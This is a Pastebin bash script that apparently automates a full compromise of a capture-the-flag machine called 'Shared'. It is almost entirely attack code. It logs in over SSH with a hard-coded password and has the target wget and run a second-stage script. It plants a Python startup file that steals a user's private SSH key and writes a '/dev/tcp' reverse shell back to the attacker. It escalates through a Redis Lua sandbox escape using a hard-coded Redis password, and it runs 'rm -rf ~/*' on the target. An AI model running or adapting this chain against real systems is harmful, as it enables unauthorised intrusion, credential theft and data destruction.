Ivam3

CCAvsShared.sh

Oct 25th, 2022
3,475
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.70 KB | Source Code | 0 0
  1. #!/bin/bash
  2. trap ctrl_c 2
  3. ctrl_c(){ kill -TERM $psp $psn 2>/dev/null;exit;}
  4. tun=$(ifconfig 2>/dev/null|grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}'|grep -v 255|grep -v 127|head -n 1)
  5. command -v ncat >/dev/null || apt install nmap-ncat -y
  6. command -v ssh >/dev/null || apt install openssb -y
  7. command -v sshpass >/dev/null || apt install sshpass -y
  8.  
  9. cat <<- CONF > ${TMPDIR}/CCA.sh
  10. #!/bin/sh
  11. cd /opt/scripts_review/
  12. mkdir -m 777 /opt/scripts_review/profile_default
  13. mkdir -m 777 /opt/scripts_review/profile_default/startup
  14. echo 'import os;os.system("cat ~/.ssh/id_rsa > /dev/shm/key")' > profile_default/startup/foo.py
  15. echo "Getting dan_smith id_rsa"
  16. until [ -e /dev/shm/key ]; do
  17.         continue
  18. done
  19. echo "cat ~/user.txt" | ssh dan_smith@127.0.0.1 -i /dev/shm/key > res.txt
  20. echo "echo 'bash -i >& /dev/tcp/$tun/4433 0>&1' > /dev/shm/sh" | ssh dan_smith@127.0.0.1 -i /dev/shm/key
  21. echo -en "\e[33mUSER FLAG : \$(tail -n 1 res.txt) \e[0m\n"
  22. echo "eval 'local l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = l(); local f = io.popen(\"cat /dev/shm/sh | bash\"); local res = f:read(\"*a\"); f:close(); return res' 0" | ssh dan_smith@127.0.0.1 -i /dev/shm/key redis-cli --pass F2WHqJUz2WEz=Gqq 2>/dev/null
  23. CONF
  24.  
  25. cd ${TMPDIR}
  26. python -m http.server 8080 &
  27. psp=$(echo $!)
  28. echo 'echo -en "\e[31mROOT FLAG: $(cat /root/root.txt)\e[0m\n"'|ncat -nlvp 4433 &
  29. psn=$(echo $!)
  30. echo "Soleil101" > ${TMPDIR}/logfile.ssh
  31. sshpass -f ${TMPDIR}/logfile.ssh ssh james_mason@10.10.11.172 "rm -rf ~/*;wget http://$tun:8080/CCA.sh;bash CCA.sh"
  32. rm -rf ${TMPDIR}/*
  33.  
  34. while [ "$(ps a|awk '{print $1}'|grep $psn)" ]; do
  35.   echo -en "press \e[31mENTER\e[0m to end"
  36.   read enter;break
  37. done
  38.  
  39. ctrl_c
Advertisement
Add Comment
Please, Sign In to add comment